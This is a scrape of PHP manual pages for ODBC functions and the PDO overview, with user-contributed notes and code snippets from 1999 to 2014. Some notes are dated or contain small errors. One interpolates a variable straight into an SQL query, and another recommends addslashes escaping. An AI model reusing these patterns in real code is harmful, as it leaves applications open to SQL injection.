If you are trying to retrieve a large collection of fields from a database, be aware that odbc_result may only return up to 33 result columns.  Any more than that, and it generates a "result out of range" warning in your script.
(I tried adjusting to have 32 fields, with the same bug.) It generates an error "Warning: Field index is larger than the number of fields inyour-script.php on line 70" ANY time you try to retrieve the last field of a sufficiently large record. What worked for me was just to write the last column twice... that way, the query has 34 fields, but the last two are the same. You know it'll crash if you ask for #34, but just use ODBC_result(current_query, 33) and you won't have a problem. Good luck

-D
dave at quiver dot com 14-Jul-2000 09:44
If I use and MS Access 2000 database with fields of type memo, I get:
"Warning: SQL error: [Microsoft][ODBC Driver Manager] Invalid cursor state, SQL state 24000 in SQLGetData in D:\Inetpub\wwwroot\xxx\xxx.php on line XxX." If I change to type "text," everything's cool.
jniels23 at csc dot com 24-Mar-1999 05:31
Beware if you have fields with the same name in a result

<?php
$res = odbc_exec($conn,"select * from PeopleMR,People,Role,Organisation".
" WHERE PeopleMR.MeetingID = $MeetingID" .
" ORDER BY People.Surname");
?>

I have the field "Name" from both TABLE Role and TABLE Organisation, as for MySQL you would do :

<?php
mysql_result($res,$count,"Role.Name");
mysql_result($res,$count,"Organisation.Name");
?>

but with odbc you do :

<?php odbc_result($res,$count,"Name"); ?>

this gives you the result of TABLE Role "Name" so you have to find the Field Number for the Organisation"Name" to have the correct result.


Rollback a transaction

  • « odbc_result
  • odbc_setoption »
  • PHP Manual
  • ODBC Functions
  • Rollback a transaction

odbc_rollback

(PHP 4, PHP 5)

odbc_rollback — Rollback a transaction

Description

bool odbc_rollback ( resource $connection_id )

Rolls back all pending statements on the connection.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Daniel 04-Sep-2014 07:06
Check the Spanish translation! Roll back is not 'Reanudar', is almost the opposite. A better word could be 'Deshacer'.


Adjust ODBC settings

  • « odbc_rollback
  • odbc_specialcolumns »
  • PHP Manual
  • ODBC Functions
  • Adjust ODBC settings

odbc_setoption

(PHP 4, PHP 5)

odbc_setoption — Adjust ODBC settings

Description

bool odbc_setoption ( resource $id , int $function , int $option , int $param )

This function allows fiddling with the ODBC options for a particular connection or query result. It was written to help find work around to problems in quirky ODBC drivers. You should probably only use this function if you are an ODBC programmer and understand the effects the various options will have. You will certainly need a good ODBC reference to explain all the different options and values that can be used. Different driver versions support different options.

Because the effects may vary depending on the ODBC driver, use of this function in scripts to be made publicly available is strongly discouraged. Also, some ODBC options are not available to this function because they must be set before the connection is established or the query is prepared. However, if on a particular job it can make PHP work so your boss doesn't tell you to use a commercial product, that's all that really matters.

Parameters

id

Is a connection id or result id on which to change the settings. For SQLSetConnectOption(), this is a connection id. For SQLSetStmtOption(), this is a result id.

function

Is the ODBC function to use. The value should be 1 for SQLSetConnectOption() and 2 for SQLSetStmtOption().

option

The option to set.

param

The value for the given option.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 odbc_setoption() examples

<?php
// 1. Option 102 of SQLSetConnectOption() is SQL_AUTOCOMMIT.
//    Value 1 of SQL_AUTOCOMMIT is SQL_AUTOCOMMIT_ON.
//    This example has the same effect as
//    odbc_autocommit($conn, true);

odbc_setoption($conn, 1, 102, 1);

// 2. Option 0 of SQLSetStmtOption() is SQL_QUERY_TIMEOUT.
//    This example sets the query to timeout after 30 seconds.

$result = odbc_prepare($conn, $sql);
odbc_setoption($result, 2, 0, 30);
odbc_execute($result);
?>

User Contributed Notes

egil at wp dot pl 19-Jan-2009 04:42
Some options for Microsoft SQL Server ODBC:
1 - (SQL_MAX_ROWS) show top x rows
6 - (SQL_CURSOR_TYPE) zmiana kursora - ma działać dopiero w PHP 5.3

You can "translate" constant names (found on e.g. Microsoft website) to appropriate values using this page:
http://www.freepascal.org/docs-html/packages/odbcsql/index-2.html

BTW. If anyone is banging his head about "cursor type changed" warning while using execute with ORDER BY clause, then just use exec for now (remember to addslashes for yourself). In PHP 5.3 a Bug #43668 will be fixed and it will allow you to change a cursor type to SQL_CUR_USE_ODBC.

Note that you could also try to select a cursor type in odbc_connect, but that didn't work for me (much more problems appeared then it solved).


Retrieves special columns

  • « odbc_setoption
  • odbc_statistics »
  • PHP Manual
  • ODBC Functions
  • Retrieves special columns

odbc_specialcolumns

(PHP 4, PHP 5)

odbc_specialcolumns — Retrieves special columns

Description

resource odbc_specialcolumns ( resource $connection_id , int $type , string $qualifier , string $owner , string $table , int $scope , int $nullable )

Retrieves either the optimal set of columns that uniquely identifies a row in the table, or columns that are automatically updated when any value in the row is updated by a transaction.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

type
When the type argument is SQL_BEST_ROWID, odbc_specialcolumns() returns the column or columns that uniquely identify each row in the table. When the type argument is SQL_ROWVER, odbc_specialcolumns() returns the column or columns in the specified table, if any, that are automatically updated by the data source when any value in the row is updated by any transaction.
qualifier

The qualifier.

owner

The owner.

table

The table.

scope

The scope, which orders the result set.

nullable

The nullable option.

Return Values

Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • SCOPE
  • COLUMN_NAME
  • DATA_TYPE
  • TYPE_NAME
  • PRECISION
  • LENGTH
  • SCALE
  • PSEUDO_COLUMN

User Contributed Notes

There are no user contributed notes for this page.


Retrieve statistics about a table

  • « odbc_specialcolumns
  • odbc_tableprivileges »
  • PHP Manual
  • ODBC Functions
  • Retrieve statistics about a table

odbc_statistics

(PHP 4, PHP 5)

odbc_statistics — Retrieve statistics about a table

Description

resource odbc_statistics ( resource $connection_id , string $qualifier , string $owner , string $table_name , int $unique , int $accuracy )

Get statistics about a table and its indexes.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

The qualifier.

owner

The owner.

table_name

The table name.

unique

The unique attribute.

accuracy

The accuracy.

Return Values

Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER
  • TABLE_OWNER
  • TABLE_NAME
  • NON_UNIQUE
  • INDEX_QUALIFIER
  • INDEX_NAME
  • TYPE
  • SEQ_IN_INDEX
  • COLUMN_NAME
  • COLLATION
  • CARDINALITY
  • PAGES
  • FILTER_CONDITION

The result set is ordered by NON_UNIQUE, TYPE, INDEX_QUALIFIER, INDEX_NAME and SEQ_IN_INDEX.

User Contributed Notes

eion at bigfoot dot com 20-Apr-2011 12:36
A couple of the function parameters are undefined:

unique - determines whether you want to return just unique indexes or all indexes.  Use SQL_INDEX_UNIQUE or SQL_INDEX_ALL for this parameter

accuracy - whether you wan to return everything there is to know about the table or just what information is readily available.  Use SQL_ENSURE or SQL_QUICK for this parameter

For a bit more info about this function see the ODBC function SQLStatistics() at http://msdn.microsoft.com/en-us/library/ms711022(v=vs.85).aspx


Lists tables and the privileges associated with each table

  • « odbc_statistics
  • odbc_tables »
  • PHP Manual
  • ODBC Functions
  • Lists tables and the privileges associated with each table

odbc_tableprivileges

(PHP 4, PHP 5)

odbc_tableprivileges — Lists tables and the privileges associated with each table

Description

resource odbc_tableprivileges ( resource $connection_id , string $qualifier , string $owner , string $name )

Lists tables in the requested range and the privileges associated with each table.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

The qualifier.

owner

The owner. Accepts the following search patterns: ('%' to match zero or more characters and '_' to match a single character)

name

The name. Accepts the following search patterns: ('%' to match zero or more characters and '_' to match a single character)

Return Values

An ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER
  • TABLE_OWNER
  • TABLE_NAME
  • GRANTOR
  • GRANTEE
  • PRIVILEGE
  • IS_GRANTABLE

The result set is ordered by TABLE_QUALIFIER, TABLE_OWNER and TABLE_NAME.

User Contributed Notes

There are no user contributed notes for this page.


Get the list of table names stored in a specific data source

  • « odbc_tableprivileges
  • PDO »
  • PHP Manual
  • ODBC Functions
  • Get the list of table names stored in a specific data source

odbc_tables

(PHP 4, PHP 5)

odbc_tables — Get the list of table names stored in a specific data source

Description

resource odbc_tables ( resource $connection_id [, string $qualifier [, string $owner [, string $name [, string $types ]]]] )

Lists all tables in the requested range.

To support enumeration of qualifiers, owners, and table types, the following special semantics for the qualifier, owner, name, and table_type are available:

  • If qualifier is a single percent character (%) and owner and name are empty strings, then the result set contains a list of valid qualifiers for the data source. (All columns except the TABLE_QUALIFIER column contain NULLs.)
  • If owner is a single percent character (%) and qualifier and name are empty strings, then the result set contains a list of valid owners for the data source. (All columns except the TABLE_OWNER column contain NULLs.)
  • If table_type is a single percent character (%) and qualifier, owner and name are empty strings, then the result set contains a list of valid table types for the data source. (All columns except the TABLE_TYPE column contain NULLs.)

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

The qualifier.

owner

The owner. Accepts search patterns ('%' to match zero or more characters and '_' to match a single character).

name

The name. Accepts search patterns ('%' to match zero or more characters and '_' to match a single character).

types

If table_type is not an empty string, it must contain a list of comma-separated values for the types of interest; each value may be enclosed in single quotes (') or unquoted. For example, "'TABLE','VIEW'" or "TABLE, VIEW". If the data source does not support a specified table type, odbc_tables() does not return any results for that type.

Return Values

Returns an ODBC result identifier containing the information or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER
  • TABLE_OWNER
  • TABLE_NAME
  • TABLE_TYPE
  • REMARKS

The result set is ordered by TABLE_TYPE, TABLE_QUALIFIER, TABLE_OWNER and TABLE_NAME.

See Also

  • odbc_tableprivileges() - Lists tables and the privileges associated with each table

User Contributed Notes

narcomweb at wanadoo dot fr 05-Nov-2005 06:33
Here a Code for listing Table names
<?php
$dbh = odbc_connect($dsn, $user, $pwd);

   $result = odbc_tables($dbh);

   $tables = array();
   while (odbc_fetch_row($result)){
     if(odbc_result($result,"TABLE_TYPE")=="TABLE")
       echo"<br>".odbc_result($result,"TABLE_NAME");

   }
?>
You don't have views or System tables with.
Only simple tables in your database.
pmains at ux dot com 22-Jul-2005 04:39
This probably works for a variety of formats, but if you want a list of *just* the table names from an SQL dsn source (I'm using MSSQL), here's the code.

<?php

# ... assign $dsn, $uid, & $pwd ...

$dbh = odbc_connect($dsn, $uid, $pwd);

    $result = odbc_tables($dbh);

    $tables = array();
    while (odbc_fetch_row($result))
        array_push($tables, odbc_result($result, "TABLE_NAME") );

    foreach( $tables as $t ) {
        echo "$t\n";
    }

?>
iggvopvantoodlwin 01-Mar-2004 04:42
With regard to the note made on results not working.
Test the database with the easy:

odbc_result_all(odbc_tables($db));

$db is obviously a connected batadase. Then start to experiment:

if(!$odbcr=odbc_tables($db,"udb","", "%", "'TABLE'"))

"udb" is the DNS - aka 'name of my ODBC database in the Windows ODBC thingamy'. In result_all the full path was shown but I just used the name I assigned; either should work.

The second parameter "" is listed by result_all as "TABLE_SCHEM" and all items were "NULL", so I have put "".

The third parameter is "%". According to result_all this col is "TABLE_NAME", so I could have put the name of one of my tables, i.e. "Address".

In my case I have an Access database setup with several tables. In ODBC I have created a link. Running the all on everything result above shows a set of system tables which I do not need to know about at this point so I look at the result and then build my new table check using the "TABLE" string as the tables I am interested in are listed as "TABLE" under their "TABLE_TYPE" column.
kthejoker at nospam dot hotmail dot com 12-Dec-2002 07:29
A bit of an extension on the previous posts:

I had a whale of a time trying to make this command work .. the parameters were hard to decipher, and frequently my Apache module would just crash and burn when I tried to run it. I FINALLY figured out what was wrong ...

< -- assuming $conn is your odbc_connect --->

$tablelist=odbc_tables($conn);
$tablelist=odbc_result_all($tablelist);

simply doesn't work. I don't understand the exact logistics of it, but the only way I could get it to post the results was this:

$tablelist=odbc_result_all(odbc_tables($conn));

From there it was rather simple to add in parameters that fished out the results I wanted.

To repeat again: I do not understand why the 2nd method works and the 1st one does not. However, having struggled mightily with this function for almost 24 hours, posting this solution has proven to be greatly satisfying.
liquidicee at hotmail dot com 11-Mar-2001 05:02
Here's how to get a list of all the tables in your database.. with an actual example of how its done and how to get the results.. and you don't need to put in schema and all that other crap

<?php
$conn = odbc_connect("$database", "$username", "$password");
$tablelist = odbc_tables($conn);
while (odbc_fetch_row($tablelist)) {
if (odbc_result($tablelist, 4) == "TABLE")
echo odbc_result($tablelist, 3) ."<br>";
}
?>

to understand what the above is doing,
use odbc_result_all($tablelist); this will show you EVERYTHING returned by odbc_tables() then you can look through it and see better how odbc_tables() works and what exactly it returns in the string to get a better idea on how to deal with it.
it would have saved me alot of time if i would have just taken a look at the full string returned by odbc_tables(), so i suggest you take the minute or two and look... here is an example of how to do it..which would have been helpful for me ;x.

<?php
$conn = odbc_connect("$database", "$username", "$password");
$tablelist = odbc_tables($conn);
while (odbc_fetch_row($tablelist)) {
echo odbc_result_all($tablelist);
}
?>

hopefully this will help some people.. i have alot more to add about this but no time :(
so again hope this helps.
Liquidice
fmk at swwwing dot com 03-Oct-2000 09:22
use odbc_tables($con, "%") to get a list of all available catalogs (databases).

use odbc_tables($con, "", "%") to get a list of all schemas available.

use odbc_tables($con, "", "", "", "%") to get a list of all table types available.

use odbc_tables($con, "my catalog", "my schema", "%", "'TABLE', 'VIEW'") to get a list of all tables available.

using odbc_tables($con, "%", "%", "%", "%") will return an empty array !

Before PHP 4.0.3 uou could use this function with 1 or 5 prarms. From 4.0.3 the function matches the documentation.


PHP Data Objects

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Connections and Connection management
  • Transactions and auto-commit
  • Prepared statements and stored procedures
  • Errors and error handling
  • Large Objects (LOBs)
  • PDO — The PDO class
    • PDO::beginTransaction — Initiates a transaction
    • PDO::commit — Commits a transaction
    • PDO::__construct — Creates a PDO instance representing a connection to a database
    • PDO::errorCode — Fetch the SQLSTATE associated with the last operation on the database handle
    • PDO::errorInfo — Fetch extended error information associated with the last operation on the database handle
    • PDO::exec — Execute an SQL statement and return the number of affected rows
    • PDO::getAttribute — Retrieve a database connection attribute
    • PDO::getAvailableDrivers — Return an array of available PDO drivers
    • PDO::inTransaction — Checks if inside a transaction
    • PDO::lastInsertId — Returns the ID of the last inserted row or sequence value
    • PDO::prepare — Prepares a statement for execution and returns a statement object
    • PDO::query — Executes an SQL statement, returning a result set as a PDOStatement object
    • PDO::quote — Quotes a string for use in a query.
    • PDO::rollBack — Rolls back a transaction
    • PDO::setAttribute — Set an attribute
  • PDOStatement — The PDOStatement class
    • PDOStatement::bindColumn — Bind a column to a PHP variable
    • PDOStatement::bindParam — Binds a parameter to the specified variable name
    • PDOStatement::bindValue — Binds a value to a parameter
    • PDOStatement::closeCursor — Closes the cursor, enabling the statement to be executed again.
    • PDOStatement::columnCount — Returns the number of columns in the result set
    • PDOStatement::debugDumpParams — Dump an SQL prepared command
    • PDOStatement::errorCode — Fetch the SQLSTATE associated with the last operation on the statement handle
    • PDOStatement::errorInfo — Fetch extended error information associated with the last operation on the statement handle
    • PDOStatement::execute — Executes a prepared statement
    • PDOStatement::fetch — Fetches the next row from a result set
    • PDOStatement::fetchAll — Returns an array containing all of the result set rows
    • PDOStatement::fetchColumn — Returns a single column from the next row of a result set
    • PDOStatement::fetchObject — Fetches the next row and returns it as an object.
    • PDOStatement::getAttribute — Retrieve a statement attribute
    • PDOStatement::getColumnMeta — Returns metadata for a column in a result set
    • PDOStatement::nextRowset — Advances to the next rowset in a multi-rowset statement handle
    • PDOStatement::rowCount — Returns the number of rows affected by the last SQL statement
    • PDOStatement::setAttribute — Set a statement attribute
    • PDOStatement::setFetchMode — Set the default fetch mode for this statement
  • PDOException — The PDOException class
  • PDO Drivers
    • CUBRID (PDO) — CUBRID Functions (PDO_CUBRID)
    • MS SQL Server (PDO) — Microsoft SQL Server and Sybase Functions (PDO_DBLIB)
    • Firebird (PDO) — Firebird Functions (PDO_FIREBIRD)
    • IBM (PDO) — IBM Functions (PDO_IBM)
    • Informix (PDO) — Informix Functions (PDO_INFORMIX)
    • MySQL (PDO) — MySQL Functions (PDO_MYSQL)
    • MS SQL Server (PDO) — Microsoft SQL Server Functions (PDO_SQLSRV)
    • Oracle (PDO) — Oracle Functions (PDO_OCI)
    • ODBC and DB2 (PDO) — ODBC and DB2 Functions (PDO_ODBC)
    • PostgreSQL (PDO) — PostgreSQL Functions (PDO_PGSQL)
    • SQLite (PDO) — SQLite Functions (PDO_SQLITE)
    • 4D (PDO) — 4D Functions (PDO_4D)

User Contributed Notes

matthew at button-mashers dot net 08-May-2014 08:31
When using prepared statements there is no official PDO feature to show you the final query string that is submitted to a database complete with the parameters you passed.

Use this simple function for debugging. The values you are passing may not be what you expect.

<?php
//Sample query string
$query = "UPDATE users SET name = :user_name WHERE id = :user_id";

//Sample parameters
$params = [':user_name' => 'foobear', ':user_id' => 1001];

function build_pdo_query($string, $array) {
    //Get the key lengths for each of the array elements.
    $keys = array_map('strlen', array_keys($array));

    //Sort the array by string length so the longest strings are replaced first.
    array_multisort($keys, SORT_DESC, $array);

    foreach($array as $k => $v) {
        //Quote non-numeric values.
        $replacement = is_numeric($v) ? $v : "'{$v}'";

        //Replace the needle.
        $string = str_replace($k, $replacement, $string);
    }

    return $string;
}

echo build_pdo_query($query, $params);    //UPDATE users SET name = 'foobear' WHERE id = 1001
?>
Sbastien Gourmand 08-Jul-2013 07:19
Merge the prepare() and execute() in one function like a sprintf().
And like sprintf, I choose to use unnamed args (?) ;)

you could still use old insecure query() ( not prepared ) with renamed function :)

<?php
class MyPDO extends PDO{

    const PARAM_host='localhost';
    const PARAM_port='3306';
    const PARAM_db_name='test';
    const PARAM_user='root';
    const PARAM_db_pass='';

    public function __construct($options=null){
        parent::__construct('mysql:host='.MyPDO::PARAM_host.';port='.MyPDO::PARAM_port.';dbname='.MyPDO::PARAM_db_name,
MyPDO::PARAM_user,
MyPDO::PARAM_db_pass,$options);
    }

    public function query($query){ //secured query with prepare and execute
        $args = func_get_args();
        array_shift($args); //first element is not an argument but the query itself, should removed

        $reponse = parent::prepare($query);
        $reponse->execute($args);
        return $reponse;

    }

    public function insecureQuery($query){ //you can use the old query at your risk ;) and should use secure quote() function with it
        return parent::query($query);
    }

}

$db = new MyPDO();
$db->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);

$t1 = isset($_GET["t1"])?$_GET["t1"]:1; // need to be securised for injonction
$t2 = isset($_GET["t2"])?$_GET["t2"]:2; // need to be securised for injonction
$t3 = isset($_GET["t3"])?$_GET["t3"]:3; // need to be securised for injonction

$ret = $db->query("SELECT * FROM table_test WHERE t1=? AND t2=? AND t3=?",$t1,$t2,$t3);
//$ret = $db->insecureQuery("SELECT * FROM table_test WHERE t1=".$db->quote($t1));

while ($o = $ret->fetch())
{
    echo $o->nom.PHP_EOL;
}
?>
lkmorlan at uwaterloo dot ca 04-Jan-2011 04:25
You may also have to edit /etc/freetds.conf. Make sure the TDS version is recent, e.g., "tds version = 8.0".
lkmorlan at uwaterloo dot ca 29-Jun-2010 06:38
This works to get UTF8 data from MSSQL:

<?php
$db = new PDO('dblib:host=your_hostname;dbname=your_db;charset=UTF-8', $user, $pass);
?>
jose at thezcompany dot com 17-Feb-2010 09:39
I ran into a real annoying bug/feature when using PDO for SQL statements that use SQL user variables.  I was working on some logic for a Geo Proximity Search for an events-venues system (sharing is caring so it's below) and it just wouldn't take and the errors returned were garbage. The SQL was sound as I verified it.  So if you're having this issue, I hope this helps.  What you need to do is break apart the query into two...

From:
<?php
$sql="set @latitude=:lat;
set @longitude=:lon;
set @radius=20;

set @lng_min = @longitude - @radius/abs(cos(radians(@latitude))*69);
set @lng_max = @longitude + @radius/abs(cos(radians(@latitude))*69);
set @lat_min = @latitude - (@radius/69);
set @lat_max = @latitude + (@radius/69);

SELECT *,
3956 * 2 * ASIN(SQRT(POWER(SIN((@latitude - ABS(venue_lat)) * PI()/180 / 2),2) + COS(@latitude * PI()/180) * COS(ABS(venue_lat) * PI()/180) * POWER(SIN((@longitude - venue_lon) * PI()/180 / 2),2))) AS distance
FROM events LEFT JOIN venues ON venues.venue_id = events.venue_fk
WHERE (venue_lon BETWEEN @lng_min AND @lng_max)
AND (venue_lat BETWEEN @lat_min and @lat_max)
AND events.event_date >= CURDATE()
AND events.event_time >= CURTIME()
ORDER BY distance DESC;";

$stmt = $this->_db->prepare($sql);
$stmt->bindParam(':lat', $lat, PDO::PARAM_STR);
$stmt->bindParam(':lon', $lon, PDO::PARAM_STR);
$stmt->bindParam(':offset', $offset, PDO::PARAM_INT);
$stmt->bindParam(':max', $max, PDO::PARAM_INT);
$stmt->execute();
?>

To:
<?php
$sql = "SET @latitude=:lat;
SET @longitude=:lon;
SET @radius=20;
SET @lng_min=@longitude - @radius/abs(cos(radians(@latitude))*69);
SET @lng_max=@longitude + @radius/abs(cos(radians(@latitude))*69);
SET @lat_min=@latitude - (@radius/69);
SET @lat_max=@latitude + (@radius/69);";

$this->_db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);
$stmt = $this->_db->prepare($sql);
$stmt->bindParam(':lat', $lat, PDO::PARAM_STR);
$stmt->bindParam(':lon', $lon, PDO::PARAM_STR);
$stmt->execute();

$sql = "SELECT *,
(3956 * 2 * ASIN(SQRT(POWER(SIN((@latitude - ABS(venue_lat)) * PI()/180 / 2),2) + COS(@latitude * PI()/180) * COS(ABS(venue_lat) * PI()/180) * POWER(SIN((@longitude - venue_lon) * PI()/180 / 2),2)))) AS distance
FROM events LEFT JOIN venues ON venues.venue_id = events.venue_fk
WHERE (venue_lon BETWEEN @lng_min AND @lng_max)
AND (venue_lat BETWEEN @lat_min and @lat_max)
AND events.event_date >= CURDATE()
AND events.event_time >= CURTIME()
ORDER BY distance DESC
LIMIT :offset,:max;";

$stmt = $this->_db->prepare($sql);
$stmt->bindParam(':offset', $offset, PDO::PARAM_INT);
$stmt->bindParam(':max', $max, PDO::PARAM_INT);
$stmt->execute();
?>

Hope this helps anyone out there!
paul dot maddox at gmail dot com 27-Aug-2009 02:54
I decided to create a singleton wrapper for PDO that ensures only one instance is ever used.
It uses PHP 5.3.0's __callStatic functionality to pass on statically called methods to PDO.

This means you can just call it statically from anywhere without having to initiate or define the object.

Usage examples:

<?php
DB::exec("DELETE FROM Blah");

foreach( DB::query("SELECT * FROM Blah") as $row){
        print_r($row);
}
?>

Code:

<?php

class DB {

    private static $objInstance;

    /*
     * Class Constructor - Create a new database connection if one doesn't exist
     * Set to private so no-one can create a new instance via ' = new DB();'
     */
    private function __construct() {}

    /*
     * Like the constructor, we make __clone private so nobody can clone the instance
     */
    private function __clone() {}

    /*
     * Returns DB instance or create initial connection
     * @param
     * @return $objInstance;
     */
    public static function getInstance(  ) {

        if(!self::$objInstance){
            self::$objInstance = new PDO(DB_DSN, DB_USER, DB_PASS);
            self::$objInstance->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        }

        return self::$objInstance;

    } # end method

    /*
     * Passes on any static calls to this class onto the singleton PDO instance
     * @param $chrMethod, $arrArguments
     * @return $mix
     */
    final public static function __callStatic( $chrMethod, $arrArguments ) {

        $objInstance = self::getInstance();

        return call_user_func_array(array($objInstance, $chrMethod), $arrArguments);

    } # end method

}
?>
rijnzael at gmail dot com 04-Sep-2008 10:46
If you plan on using prepared statements to issue a series of KILLs, think again.  PDO apparently does not support this, and will tell you, assuming you don't put any parameters in the statement (a situation in which it would be pointless to use prepared statements anyway).  If you do specify some ?-mark parameters, it will just spit out an error that doesn't help at all.
cmcculloh 25-Jun-2008 09:14
It appears that PDO SQL statements can not make use of /* */ comments. Or at least, when I was trying to use them with mine it was crashing without error and giving me a blank page (even though I surrounded with try catch block).
ob.php from daevel.fr 30-Dec-2007 09:57
Be careful with PDO extends : if you use the smileaf's example, PDO will close the connection only at the end of the script, because of the "array( $this )" parameter used with the setAttribute() method.

Instead, I use only this :
    $this->setAttribute( PDO::ATTR_STATEMENT_CLASS, array( $this->statementClassName, array() ) );

And in prepare() and query() method you can populate the "dbh" if you really need it.
neonmandk at gmail dot com 10-Dec-2007 01:29
If you will make a OBJ row from PDO you can use this eg.

$resKampange = $dbc->prepare( "SELECT * FROM Table LIMIT 1" );
$resKampange->execute();
$rowKampange = $resKampange->fetch( PDO::FETCH_OB );

echo $rowKampange->felt1;

Good lock :0)
Ostap 03-Dec-2007 11:08
There is a book titled "Learning PHP Data Objects" written by Dennis Popel and published by Packt. There is a post with further links (ordering, reviews) at author's blog: http://www.onphp5.com/article/58
nospam dot list at unclassified dot de 14-Nov-2007 01:24
When using persistent connections, pay attention not to leave the database connection in some kind of locked state. This can happen when you start a transaction by hand (i.e. not through the PDO->beginTransaction() method), possibly even acquire some locks (e.g. with "SELECT ... FOR UPDATE", "LOCK TABLES ..." or in SQLite with "BEGIN EXCLUSIVE TRANSACTION") and then your PHP script ends with a fatal error, unhandled exception or under other circumstances that lead to an unclean exit.

To use that database again, it may then be necessary to disable the persistence attribute to get a new database connection or restart the web server. (Persistent connections should not work with a PHP-CGI anyway.) It does not work (tested with PHP 5.2.3/WinXP and SQLite) to close a persistent database connection - it will not actually be closed but instead returned to PDO's connection pool.

The only thing you can do to resolve the lock as a regular user (I imagine) is to try and get all of your persistent connections in a single script and unlock the tables resp. end the transactions with the appropriate SQL statements ("UNLOCK TABLES" in MySQL, "ROLLBACK" for transactions). Should they fail, there is no problem, but one or some of them might succeed and thereby resolve your locking problem.
xorinox at vtxmail dot ch 05-Nov-2007 12:52
I have seen a lot of user struggling with calling mysql procedures with in/out/inout parameters using bindParam. There seems to be a bug or missing feature within the mysql C api. This at least I could find out after reading a lot of posts at different places...

At the moment I workaround it like below. $con is a PDO object:

<?php
//in
$proc = $con->prepare( "call proc_in( @i_param )" );
$con->query( "set @i_param = 'myValue'" );
$proc->execute();

//out
$proc = $con->prepare( "call proc_out( @o_param )" );
$proc->execute();
$o_param = $con->query( "select @o_param" )->fetchColumn();

//inout
$proc = $con->prepare( "call proc_inout( @io_param )" );
$con->query( "set @io_param = 'myValue'" );
$proc->execute();
$io_param = $con->query( "select @io_param" )->fetchColumn();
?>
Konstantin at Tokar dot ru 16-Oct-2007 05:34
Example 5:
<?php
try {
  $dbh = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2',
      array(PDO::ATTR_PERSISTENT => true));
.......
} catch (Exception $e) {
  $dbh->rollBack();
  echo "Failed: " . $e->getMessage();
}
?>

We must change the last two lines to catch the error connecting to the database:

} catch (Exception $e) {
  echo "Failed: " . $e->getMessage();
  $dbh->rollBack();
}
?>
anton dot clarke at sonikmedia dot com 02-Sep-2007 09:12
Not all PDO drivers return a LOB as a file stream; mysql 5 is one example. Therefore when streaming a mime typed object from the database you cannot use fpassthru.

The following is a modified example that works with a mysql database. (Tested FreeBSD v 6.2 with mysql 5.0.45 and php 5.2.3)

<?php
ob_start();
$db = new PDO('mysql:host=localhost;dbname=<SOMEDB>', '<USERNAME>', 'PASSWORD');
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO::PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO::PARAM_LOB);
$stmt->fetch(PDO::FETCH_BOUND);
ob_clean();
header("Content-Type: $type");
echo $lob; // fpassthru reports an error that $lob is not a stream so echo is used in place.
ob_end_flush();
?>

Please note the inclusion of buffer control. I only needed this when using 'include','include_once','require', or 'require_once' - my feeling is there is a subtle issue with those options as even an empty include file caused a buffer issue for me. === AND YES, I DID CHECK MY INCLUDE FILES DID NOT HAVE SPURIOUS WHITESPACE ETC OUTSIDE THE <?php ?> DELIMITERS! ===
metalim 25-May-2007 02:38
From Oracle example:
<?
$stmt->beginTransaction();
$stmt->execute();
$stmt->commit();
?>

PDOStatement has no beginTransaction(), nor commit(). Please fix documentation.
bart at mediawave dot nl 23-May-2007 04:57
It seems MySQL doesn't support scrollable cursors. So unfortunately PDO::CURSOR_SCROLL wont work.
djlopez at gmx dot de 12-Mar-2007 02:04
Note this:

Won't work:
$sth = $dbh->prepare('SELECT name, colour, calories FROM fruit WHERE ? < ?');

THIS WORKS!
$sth = $dbh->prepare('SELECT name, colour, calories FROM fruit WHERE calories < ?');

Parameters cannot be applied on column names!!
smileaf at smileaf dot org 01-Mar-2007 07:57
If you intend on extending PDOStatement and your using
setAttribute(PDO::ATTR_STATEMENT_CLASS, ...)
you must override the __construct() of your PDOStatement class.
failure to do so will result in an error on any PDO::query() call.
Warning: PDO::query() [function.PDO-query]: SQLSTATE[HY000]: General error: user-supplied statement does not accept constructor arguments

Here is a minimum PDO and PDOStatement class
<?php
class Database extends PDO {
    function __construct($dsn, $username="", $password="", $driver_options=array()) {
        parent::__construct($dsn,$username,$password, $driver_options);
        $this->setAttribute(PDO::ATTR_STATEMENT_CLASS, array('DBStatement', array($this)));
    }
}
class DBStatement extends PDOStatement {
    public $dbh;
    protected function __construct($dbh) {
        $this->dbh = $dbh;
    }
}
?>
php at moechofe dot com 17-Feb-2007 08:52
Simple example to extends PDO

<?php

class connexion extends PDO
{
  public $query = null;
  public function prepare( $statement, $driver_options = array() )
  {
    $this->query = $statement;
    return parent::prepare( $statement, $driver_options = array() );
  }
  public function last_query()
  {
    return $this->query;
  }
}

class connexion_statement extends PDOStatement
{
  protected $pdo;
  protected function __construct($pdo)
  {
     $this->pdo = $pdo;
  }
  // return first column of first row
  public function fetchFirst()
  {
    $row = $this->fetch( PDO::FETCH_NUM );
    return $row[0];
  }
  // real cast number
  public function fetch( $fetch_style = null, $cursor_orientation = null, $cursor_offset = null )
  {
    $row = parent::fetch( $fetch_style, $cursor_orientation, $cursor_offset );
    if( is_array($row) )
      foreach( $row as $key => $value )
        if( strval(intval($value)) === $value )
          $row[$key] = intval($value);
        elseif( strval(floatval($value)) === $value )
          $row[$key] = floatval($value);
    return $row;
  }
  // permit $prepare->execute( $arg1, $arg2, ... );
  public function execute( $args = null )
  {
    if( is_array( $args ) )
      return parent::execute( $args );
